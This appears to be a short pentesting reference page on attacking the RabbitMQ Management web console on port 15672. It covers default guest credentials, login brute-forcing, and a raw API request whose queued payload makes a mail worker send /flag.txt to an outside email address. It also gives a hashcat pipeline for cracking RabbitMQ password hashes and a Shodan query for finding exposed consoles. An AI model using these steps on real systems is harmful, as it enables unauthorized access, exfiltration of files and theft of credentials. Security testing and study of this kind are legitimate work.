15672 - Pentesting RabbitMQ Management

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Basic Information

You can learn more about RabbitMQ in 5671,5672 - Pentesting AMQP.
In this port you may find the RabbitMQ Management web console if the management plugin is enabled.
The main page should looks like this:

Enumeration

The default credentials are "guest":"guest". If they aren't working you may try to brute-force the login.

To manually start this module you need to execute:

rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart

Once you have correctly authenticated you will see the admin console:

Also, if you have valid credentials you may find interesting the information of http://localhost:15672/api/connections

Note also that it's possible to publish data inside a queue using the API of this service with a request like:

POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}

Cracking Hash

echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist

Shodan

port:15672 http